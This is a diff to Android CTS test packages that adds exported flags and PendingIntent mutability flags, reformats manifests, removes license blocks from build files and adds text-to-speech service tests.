diff --git a/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/AndroidManifest.xml b/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/AndroidManifest.xml
index 90d0df5..72f7bd4 100755
--- a/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/AndroidManifest.xml
+++ b/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/AndroidManifest.xml
@@ -16,18 +16,18 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.content.pm.cts.shortcutmanager.packages">
+     package="android.content.pm.cts.shortcutmanager.packages">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="Launcher">
+        <activity android:name="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.HOME" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.HOME"/>
             </intent-filter>
         </activity>
     </application>
 </manifest>
-
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest/AndroidManifest.xml b/tests/tests/shortcutmanager/packages/packagemanifest/AndroidManifest.xml
index a5a0060..0baaaab 100755
--- a/tests/tests/shortcutmanager/packages/packagemanifest/AndroidManifest.xml
+++ b/tests/tests/shortcutmanager/packages/packagemanifest/AndroidManifest.xml
@@ -16,143 +16,166 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.content.pm.cts.shortcutmanager.packages"
-    android:sharedUserId="android.content.pm.cts.shortcutmanager.packages">
+     package="android.content.pm.cts.shortcutmanager.packages"
+     android:sharedUserId="android.content.pm.cts.shortcutmanager.packages">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name="Launcher"
-            android:enabled="true">
+             android:enabled="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-                <category android:name="android.intent.category.HOME" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.HOME"/>
             </intent-filter>
         </activity>
 
         <activity-alias android:name="Launcher2"
-            android:targetActivity="Launcher">
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity-alias>
 
         <activity-alias android:name="Launcher3"
-            android:targetActivity="Launcher">
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity-alias>
 
         <activity-alias android:name="Launcher4"
-            android:targetActivity="Launcher">
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity-alias>
 
         <activity-alias android:name="Launcher5"
-            android:targetActivity="Launcher">
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity-alias>
 
         <activity-alias android:name="Launcher_no_main_1"
-            android:targetActivity="Launcher">
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity-alias>
 
         <activity-alias android:name="Launcher_no_main_2"
-            android:targetActivity="Launcher">
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <category android:name="android.intent.category.LAUNCHER" />
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity-alias>
 
         <activity-alias android:name="Launcher_manifest_1"
-            android:enabled="false"
-            android:targetActivity="Launcher">
+             android:enabled="false"
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
-            <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts1"/>
+            <meta-data android:name="android.app.shortcuts"
+                 android:resource="@xml/shortcuts1"/>
         </activity-alias>
 
         <activity-alias android:name="Launcher_manifest_2"
-            android:enabled="false"
-            android:targetActivity="Launcher">
+             android:enabled="false"
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
-            <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts2"/>
+            <meta-data android:name="android.app.shortcuts"
+                 android:resource="@xml/shortcuts2"/>
         </activity-alias>
 
         <activity-alias android:name="Launcher_manifest_3"
-            android:enabled="false"
-            android:targetActivity="Launcher">
+             android:enabled="false"
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
-            <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts3"/>
+            <meta-data android:name="android.app.shortcuts"
+                 android:resource="@xml/shortcuts3"/>
         </activity-alias>
 
         <activity-alias android:name="Launcher_manifest_4a"
-            android:enabled="false"
-            android:targetActivity="Launcher">
+             android:enabled="false"
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
-            <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts4a"/>
+            <meta-data android:name="android.app.shortcuts"
+                 android:resource="@xml/shortcuts4a"/>
         </activity-alias>
 
         <activity-alias android:name="Launcher_manifest_4b"
-            android:enabled="false"
-            android:targetActivity="Launcher">
+             android:enabled="false"
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
-            <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts4b"/>
+            <meta-data android:name="android.app.shortcuts"
+                 android:resource="@xml/shortcuts4b"/>
         </activity-alias>
 
         <activity-alias android:name="Launcher_manifest_error_1"
-            android:enabled="false"
-            android:targetActivity="Launcher">
+             android:enabled="false"
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
-            <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcut_error_1"/>
+            <meta-data android:name="android.app.shortcuts"
+                 android:resource="@xml/shortcut_error_1"/>
         </activity-alias>
         <activity-alias android:name="Launcher_manifest_error_2"
-            android:enabled="false"
-            android:targetActivity="Launcher">
+             android:enabled="false"
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
-            <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcut_error_2"/>
+            <meta-data android:name="android.app.shortcuts"
+                 android:resource="@xml/shortcut_error_2"/>
         </activity-alias>
         <activity-alias android:name="Launcher_manifest_error_3"
-            android:enabled="false"
-            android:targetActivity="Launcher">
+             android:enabled="false"
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
-            <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcut_error_3"/>
+            <meta-data android:name="android.app.shortcuts"
+                 android:resource="@xml/shortcut_error_3"/>
         </activity-alias>
     </application>
 </manifest>
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/AndroidManifest.xml b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/AndroidManifest.xml
index cd30602..65271c1 100755
--- a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/AndroidManifest.xml
+++ b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/AndroidManifest.xml
@@ -16,21 +16,23 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.content.pm.cts.shortcutmanager.packages">
+     package="android.content.pm.cts.shortcutmanager.packages">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="Launcher" android:enabled="true" android:exported="false">
+        <activity android:name="Launcher"
+             android:enabled="true"
+             android:exported="false">
         </activity>
 
         <activity-alias android:name="HomeActivity"
-            android:targetActivity="Launcher">
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity-alias>
     </application>
 </manifest>
-
diff --git a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java
index b1c21a6..811966b 100644
--- a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java
+++ b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java
@@ -41,7 +41,7 @@
         final PendingIntent receiverIntent =
                 PendingIntent.getBroadcast(context, 0,
                         new Intent().setComponent(new ComponentName(context, InlineReply.class)),
-                        PendingIntent.FLAG_UPDATE_CURRENT);
+                        PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final RemoteInput ri = new RemoteInput.Builder("result").setLabel("Remote input").build();
 
         final Notification.Builder nb = new Builder(context)
diff --git a/tests/tests/simphonebookprovider/Android.bp b/tests/tests/simphonebookprovider/Android.bp
index 9d6aa59..acbff92 100644
--- a/tests/tests/simphonebookprovider/Android.bp
+++ b/tests/tests/simphonebookprovider/Android.bp
@@ -1,7 +1,3 @@
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 filegroup {
     name: "cts-simphonebook-rules-sources",
     srcs: [
diff --git a/tests/tests/simphonebookprovider/nosim/Android.bp b/tests/tests/simphonebookprovider/nosim/Android.bp
index 9e8f896..0d80fc9 100644
--- a/tests/tests/simphonebookprovider/nosim/Android.bp
+++ b/tests/tests/simphonebookprovider/nosim/Android.bp
@@ -1,7 +1,3 @@
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSimPhonebookProviderNoSimTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/simpleperf/Android.mk b/tests/tests/simpleperf/Android.mk
index 351ff22..7cae376 100644
--- a/tests/tests/simpleperf/Android.mk
+++ b/tests/tests/simpleperf/Android.mk
@@ -7,8 +7,6 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := CtsSimpleperfTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/Android.bp b/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/Android.bp
index 90a78b3..c53723b 100644
--- a/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/Android.bp
+++ b/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSimpleperfDebuggableApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/AndroidManifest.xml b/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/AndroidManifest.xml
index 348c7b4..6a831b6 100644
--- a/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/AndroidManifest.xml
+++ b/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/AndroidManifest.xml
@@ -15,16 +15,16 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.simpleperf.debuggable">
+     package="com.android.simpleperf.debuggable">
 
     <application android:debuggable="true">
-        <activity
-            android:label="simpleperf"
-            android:name="com.android.simpleperf.debuggable.MainActivity">
+        <activity android:label="simpleperf"
+             android:name="com.android.simpleperf.debuggable.MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/tests/tests/simpleperf/CtsSimpleperfProfileableApp/Android.bp b/tests/tests/simpleperf/CtsSimpleperfProfileableApp/Android.bp
index cc34183..babe753 100644
--- a/tests/tests/simpleperf/CtsSimpleperfProfileableApp/Android.bp
+++ b/tests/tests/simpleperf/CtsSimpleperfProfileableApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSimpleperfProfileableApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/simpleperf/CtsSimpleperfProfileableApp/AndroidManifest.xml b/tests/tests/simpleperf/CtsSimpleperfProfileableApp/AndroidManifest.xml
index d87d10e..a8ff37b 100644
--- a/tests/tests/simpleperf/CtsSimpleperfProfileableApp/AndroidManifest.xml
+++ b/tests/tests/simpleperf/CtsSimpleperfProfileableApp/AndroidManifest.xml
@@ -15,16 +15,16 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.simpleperf.profileable">
+     package="com.android.simpleperf.profileable">
 
     <application>
-        <profileable android:shell="true" />
-        <activity
-            android:label="simpleperf"
-            android:name="com.android.simpleperf.profileable.MainActivity">
+        <profileable android:shell="true"/>
+        <activity android:label="simpleperf"
+             android:name="com.android.simpleperf.profileable.MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/tests/slice/Android.bp b/tests/tests/slice/Android.bp
index 891a682..718b1d0 100644
--- a/tests/tests/slice/Android.bp
+++ b/tests/tests/slice/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSliceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/slice/AndroidManifest.xml b/tests/tests/slice/AndroidManifest.xml
index 3ad16fb..668ae0a 100644
--- a/tests/tests/slice/AndroidManifest.xml
+++ b/tests/tests/slice/AndroidManifest.xml
@@ -16,43 +16,44 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.slice.cts">
+     package="android.slice.cts">
 
     <application android:label="Android TestCase"
-                android:icon="@drawable/size_48x48"
-                android:maxRecents="1"
-                android:multiArch="true"
-                android:supportsRtl="true"
-                android:debuggable="true">
-        <uses-library android:name="android.test.runner" />
+         android:icon="@drawable/size_48x48"
+         android:maxRecents="1"
+         android:multiArch="true"
+         android:supportsRtl="true"
+         android:debuggable="true">
+        <uses-library android:name="android.test.runner"/>
 
         <provider android:name=".SliceProvider"
-                  android:authorities="android.slice.cts"
-                  android:process=":slice_process" />
+             android:authorities="android.slice.cts"
+             android:process=":slice_process"/>
 
         <provider android:name=".LocalSliceProvider"
-            android:authorities="android.slice.cts.local">
+             android:authorities="android.slice.cts.local">
             <intent-filter>
-                <action android:name="android.slice.cts.action.TEST_ACTION" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.app.slice.category.SLICE" />
+                <action android:name="android.slice.cts.action.TEST_ACTION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.app.slice.category.SLICE"/>
             </intent-filter>
         </provider>
 
-        <activity android:name=".Launcher">
+        <activity android:name=".Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.HOME" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.HOME"/>
             </intent-filter>
         </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.slice.cts"
-                     android:label="CTS tests of android.slice">
+         android:targetPackage="android.slice.cts"
+         android:label="CTS tests of android.slice">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java b/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java
index 89f3ac1..d6e6659 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java
@@ -156,7 +156,8 @@
 
     @Test
     public void testActionSubtype() {
-        PendingIntent i = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent i = PendingIntent.getActivity(mContext, 0, new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
         Slice subSlice = new Slice.Builder(BASE_URI.buildUpon().appendPath("s").build(), SPEC)
                 .build();
         Slice s = new Slice.Builder(BASE_URI, SPEC)
diff --git a/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java b/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
index 135c67a..faf6e8f 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
@@ -145,7 +145,8 @@
         };
         try {
             Uri uri = BASE_URI.buildUpon().path("permission").build();
-            PendingIntent intent = PendingIntent.getBroadcast(mContext, 0, new Intent(""), 0);
+            PendingIntent intent = PendingIntent.getBroadcast(mContext, 0, new Intent(""),
+                    PendingIntent.FLAG_IMMUTABLE);
 
             when(LocalSliceProvider.sProxy.onCreatePermissionRequest(any())).thenReturn(intent);
 
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProvider.java b/tests/tests/slice/src/android/slice/cts/SliceProvider.java
index 20ec2e5..2b1cc1c 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceProvider.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceProvider.java
@@ -90,7 +90,8 @@
                 Builder builder = new Builder(sliceUri, SPEC);
                 Slice subSlice = new Slice.Builder(builder).build();
                 PendingIntent broadcast = PendingIntent.getBroadcast(getContext(), 0,
-                        new Intent(getContext().getPackageName() + ".action"), 0);
+                        new Intent(getContext().getPackageName() + ".action"),
+                        PendingIntent.FLAG_IMMUTABLE);
                 return builder.addAction(broadcast, subSlice, "action").build();
             case "/int":
                 return new Slice.Builder(sliceUri, SPEC).addInt(0xff121212, "int",
diff --git a/tests/tests/soundtrigger/Android.bp b/tests/tests/soundtrigger/Android.bp
index 382b8c2..6910adb 100644
--- a/tests/tests/soundtrigger/Android.bp
+++ b/tests/tests/soundtrigger/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSoundTriggerTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/speech/Android.bp b/tests/tests/speech/Android.bp
index 295b4f2..ee5eb38 100644
--- a/tests/tests/speech/Android.bp
+++ b/tests/tests/speech/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSpeechTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/speech/AndroidManifest.xml b/tests/tests/speech/AndroidManifest.xml
index f3b4d0f..d19dea0 100755
--- a/tests/tests/speech/AndroidManifest.xml
+++ b/tests/tests/speech/AndroidManifest.xml
@@ -16,27 +16,27 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.speech.tts.cts">
+     package="android.speech.tts.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <service android:name="android.speech.tts.cts.StubTextToSpeechService">
+        <service android:name="android.speech.tts.cts.StubTextToSpeechService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.TTS_SERVICE" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.TTS_SERVICE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </service>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.speech.tts.cts"
-                     android:label="CTS tests of android.speech">
+         android:targetPackage="android.speech.tts.cts"
+         android:label="CTS tests of android.speech">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java b/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
index 4665644..e6e06d6 100644
--- a/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
+++ b/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
@@ -48,28 +48,42 @@
 
     public StubTextToSpeechService() {
         supportedLanguages.add(new Locale("eng"));
-        supportedCountries.add(new Locale("eng", "USA"));
-        supportedCountries.add(new Locale("eng", "GBR"));
-        GBFallbacks.add(new Locale("eng", "NZL"));
+        supportedCountries.add(new Locale("eng", "US"));
+        supportedCountries.add(new Locale("eng", "GB"));
+        GBFallbacks.add(new Locale("eng", "NZ"));
     }
 
     @Override
     protected String[] onGetLanguage() {
-        return new String[] { "eng", "USA", "" };
+        return new String[] { "eng", "US", "" };
     }
 
     @Override
     protected int onIsLanguageAvailable(String lang, String country, String variant) {
+        country = convertISO3CountryToISO2(country);
         if (supportedCountries.contains(new Locale(lang, country))) {
             return TextToSpeech.LANG_COUNTRY_AVAILABLE;
         }
         if (supportedLanguages.contains(new Locale(lang))) {
             return TextToSpeech.LANG_AVAILABLE;
         }
- 
+
         return TextToSpeech.LANG_NOT_SUPPORTED;
     }
 
+    private String convertISO3CountryToISO2(String iso3Country) {
+      switch (iso3Country.toUpperCase()) {
+        case "USA":
+          return "US";
+        case "GBR":
+          return "GB";
+        case "NZL":
+          return "NZ";
+        default:
+          return iso3Country;
+      }
+    }
+
     @Override
     protected int onLoadLanguage(String lang, String country, String variant) {
         return onIsLanguageAvailable(lang, country, variant);
diff --git a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
index addd14e..869b7e4 100644
--- a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
+++ b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
@@ -15,6 +15,8 @@
  */
 package android.speech.tts.cts;
 
+import android.media.AudioAttributes;
+import android.net.Uri;
 import android.os.Bundle;
 import android.os.ConditionVariable;
 import android.os.Environment;
@@ -27,6 +29,7 @@
 import java.util.HashMap;
 import java.util.Map;
 import java.util.List;
+import java.util.Locale;
 
 /**
  * Tests for {@link android.speech.tts.TextToSpeechService} using StubTextToSpeechService.
@@ -34,6 +37,8 @@
 public class TextToSpeechServiceTest extends AndroidTestCase {
     private static final String UTTERANCE = "text to speech cts test";
     private static final String SAMPLE_FILE_NAME = "mytts.wav";
+    private static final String EARCON_UTTERANCE = "testEarcon";
+    private static final String SPEECH_UTTERANCE = "testSpeech";
 
     private TextToSpeechWrapper mTts;
 
@@ -206,6 +211,82 @@
         }
     }
 
+    public void testAddPlayEarcon() throws Exception {
+      File sampleFile = new File(getContext().getExternalFilesDir(null), SAMPLE_FILE_NAME);
+      try {
+        generateSampleAudio(sampleFile);
+
+        Uri sampleUri = Uri.fromFile(sampleFile);
+        assertEquals(getTts().addEarcon(EARCON_UTTERANCE, sampleFile), TextToSpeech.SUCCESS);
+
+        int result = getTts().playEarcon(EARCON_UTTERANCE,
+            TextToSpeech.QUEUE_FLUSH, createParamsBundle(EARCON_UTTERANCE), EARCON_UTTERANCE);
+
+        verifyAddPlay(result, mTts, EARCON_UTTERANCE);
+      } finally {
+        sampleFile.delete();
+      }
+    }
+
+    public void testAddPlaySpeech() throws Exception {
+      File sampleFile = new File(getContext().getExternalFilesDir(null), SAMPLE_FILE_NAME);
+      try {
+        generateSampleAudio(sampleFile);
+
+        Uri sampleUri = Uri.fromFile(sampleFile);
+        assertEquals(getTts().addSpeech(SPEECH_UTTERANCE, sampleFile), TextToSpeech.SUCCESS);
+
+        int result = getTts().speak(SPEECH_UTTERANCE,
+            TextToSpeech.QUEUE_FLUSH, createParamsBundle(SPEECH_UTTERANCE), SPEECH_UTTERANCE);
+
+        verifyAddPlay(result, mTts, SPEECH_UTTERANCE);
+      } finally {
+        sampleFile.delete();
+      }
+    }
+
+    public void testSetLanguage() {
+      TextToSpeech tts = getTts();
+
+      assertEquals(tts.setLanguage(null), TextToSpeech.LANG_NOT_SUPPORTED);
+      assertEquals(tts.setLanguage(new Locale("en", "US")), TextToSpeech.LANG_COUNTRY_AVAILABLE);
+      assertEquals(tts.setLanguage(new Locale("en")), TextToSpeech.LANG_AVAILABLE);
+      assertEquals(tts.setLanguage(new Locale("es", "US")), TextToSpeech.LANG_NOT_SUPPORTED);
+    }
+
+    public void testAddAudioAttributes() {
+      TextToSpeech tts = getTts();
+      AudioAttributes attr =
+          new AudioAttributes.Builder().setUsage(AudioAttributes.USAGE_MEDIA).build();
+
+      assertEquals(tts.setAudioAttributes(null), TextToSpeech.ERROR);
+      assertEquals(tts.setAudioAttributes(attr), TextToSpeech.SUCCESS);
+    }
+
+    private void generateSampleAudio(File sampleFile) throws Exception {
+      assertFalse(sampleFile.exists());
+
+      ParcelFileDescriptor fileDescriptor = ParcelFileDescriptor.open(sampleFile,
+          ParcelFileDescriptor.MODE_WRITE_ONLY
+          | ParcelFileDescriptor.MODE_CREATE
+          | ParcelFileDescriptor.MODE_TRUNCATE);
+
+      Bundle params = createParamsBundle("mocktofile");
+
+      int result =
+          getTts().synthesizeToFile(
+              UTTERANCE, params, fileDescriptor,
+              params.getString(TextToSpeech.Engine.KEY_PARAM_UTTERANCE_ID));
+
+      verifySynthesisFile(result, mTts, sampleFile);
+    }
+
+    private void verifyAddPlay(int result, TextToSpeechWrapper mTts, String utterance)
+        throws Exception {
+      assertEquals(TextToSpeech.SUCCESS, result);
+      assertTrue(mTts.waitForComplete(utterance));
+    }
+
     private HashMap<String, String> createParams(String utteranceId) {
         HashMap<String, String> params = new HashMap<>();
         params.put(TextToSpeech.Engine.KEY_PARAM_UTTERANCE_ID, utteranceId);
diff --git a/tests/tests/syncmanager/Android.bp b/tests/tests/syncmanager/Android.bp
index 5abee47..61eb483 100644
--- a/tests/tests/syncmanager/Android.bp
+++ b/tests/tests/syncmanager/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSyncManagerTestsCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/syncmanager/apps/Android.bp b/tests/tests/syncmanager/apps/Android.bp
index cbcfe29..d759221 100644
